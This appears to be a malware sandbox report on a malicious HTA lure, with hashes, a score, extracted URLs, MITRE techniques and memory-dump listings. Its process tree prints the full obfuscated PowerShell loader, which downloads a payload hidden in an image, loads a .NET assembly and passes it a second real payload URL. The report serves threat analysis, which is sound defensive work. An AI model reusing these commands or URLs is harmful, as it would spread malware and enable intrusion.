463d892b160baa97a1b931662a334b50e458c47989710c60149565ee27b90315

Analysis

max time kernel
162s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10/10/2023, 21:30

Sharing

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Report Analysis Logs

General

Target

Doc_solicitud de cotización.hta
Size

162KB
MD5

de2d41e85d12f3d13a7066c9a8163e57
SHA1

63729c23b9d94d8a51b36e5cdd1d0c45774cc4d2
SHA256

a0cabf8d6b8940e388d3595a01074c144f9456f13aa7e583a3c8b2b84987ef23
SHA512

e4de98dcaba043d8f227aec5c852a193d7f31c50036caf3f3ac0f22961631ba1b0b90655acae9eaf66306b91eea4035576f2be1ec5dbb44b6171f7eacf9496ae
SSDEEP

3072:8lfDZ+ft9ZGXEukEO3Dt7tYONfDdKYeOB7jnan7nRsfPPIp9BptXp:qZ+ft9ZGXEukEOTt7tYONfDdKYeOB7j6

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/583/414/original/hta_nostartup.jpg?1692658645

exe.dropper

https://uploaddeimagens.com.br/images/004/583/414/original/hta_nostartup.jpg?1692658645

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
69	2056	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2140	powershell.exe
2140	powershell.exe
2056	powershell.exe
2056	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 2140	4948	mshta.exe	93
PID 4948 wrote to memory of 2140	4948	mshta.exe	93
PID 4948 wrote to memory of 2140	4948	mshta.exe	93
PID 2140 wrote to memory of 2056	2140	powershell.exe	100
PID 2140 wrote to memory of 2056	2140	powershell.exe	100
PID 2140 wrote to memory of 2056	2140	powershell.exe	100

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Doc_solicitud de cotización.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€Lg€€0€€DY€€MwBz€€GE€€YgBl€€Ho€€bwB2€€Gk€€d€€Br€€GE€€YQBt€€GE€€c€€Bh€€C8€€Mw€€2€€C4€€Mw€€z€€C4€€Mg€€0€€C4€€Mw€€5€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/583/414/original/hta_nostartup.jpg?1692658645';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.463sabezovitkaamapa/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yoneysyq.cdk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2056-74-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-36-0x0000000007AE0000-0x000000000815A000-memory.dmp

Filesize
6.5MB

Download
memory/2056-107-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-105-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-103-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-101-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-99-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-96-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-94-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-92-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-90-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-88-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-86-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-84-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-23-0x0000000070AA0000-0x0000000071250000-memory.dmp

Filesize
7.7MB

Download
memory/2056-24-0x0000000002BC0000-0x0000000002BD0000-memory.dmp

Filesize
64KB

Download
memory/2056-25-0x0000000002BC0000-0x0000000002BD0000-memory.dmp

Filesize
64KB

Download
memory/2056-35-0x0000000002BC0000-0x0000000002BD0000-memory.dmp

Filesize
64KB

Download
memory/2056-52-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-37-0x0000000004F60000-0x0000000004F7A000-memory.dmp

Filesize
104KB

Download
memory/2056-38-0x0000000070AA0000-0x0000000071250000-memory.dmp

Filesize
7.7MB

Download
memory/2056-39-0x0000000002BC0000-0x0000000002BD0000-memory.dmp

Filesize
64KB

Download
memory/2056-40-0x0000000002BC0000-0x0000000002BD0000-memory.dmp

Filesize
64KB

Download
memory/2056-41-0x0000000002BC0000-0x0000000002BD0000-memory.dmp

Filesize
64KB

Download
memory/2056-42-0x00000000076A0000-0x00000000079BE000-memory.dmp

Filesize
3.1MB

Download
memory/2056-43-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-44-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-46-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-82-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-68-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-48-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-54-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-56-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-58-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-60-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-62-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-64-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-66-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-50-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-70-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-72-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-80-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-76-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2056-78-0x00000000076A0000-0x00000000079B9000-memory.dmp

Filesize
3.1MB

Download
memory/2140-7-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/2140-4-0x0000000070AA0000-0x0000000071250000-memory.dmp

Filesize
7.7MB

Download
memory/2140-22-0x0000000006110000-0x000000000615C000-memory.dmp

Filesize
304KB

Download
memory/2140-21-0x0000000006030000-0x000000000604E000-memory.dmp

Filesize
120KB

Download
memory/2140-16-0x0000000005A70000-0x0000000005DC4000-memory.dmp

Filesize
3.3MB

Download
memory/2140-0-0x0000000070AA0000-0x0000000071250000-memory.dmp

Filesize
7.7MB

Download
memory/2140-8-0x0000000004DF0000-0x0000000004E12000-memory.dmp

Filesize
136KB

Download
memory/2140-9-0x00000000051B0000-0x0000000005216000-memory.dmp

Filesize
408KB

Download
memory/2140-2-0x0000000002A90000-0x0000000002AC6000-memory.dmp

Filesize
216KB

Download
memory/2140-10-0x0000000005A00000-0x0000000005A66000-memory.dmp

Filesize
408KB

Download
memory/2140-6-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/2140-5-0x00000000052D0000-0x00000000058F8000-memory.dmp

Filesize
6.2MB

Download
memory/2140-1-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/2140-3-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download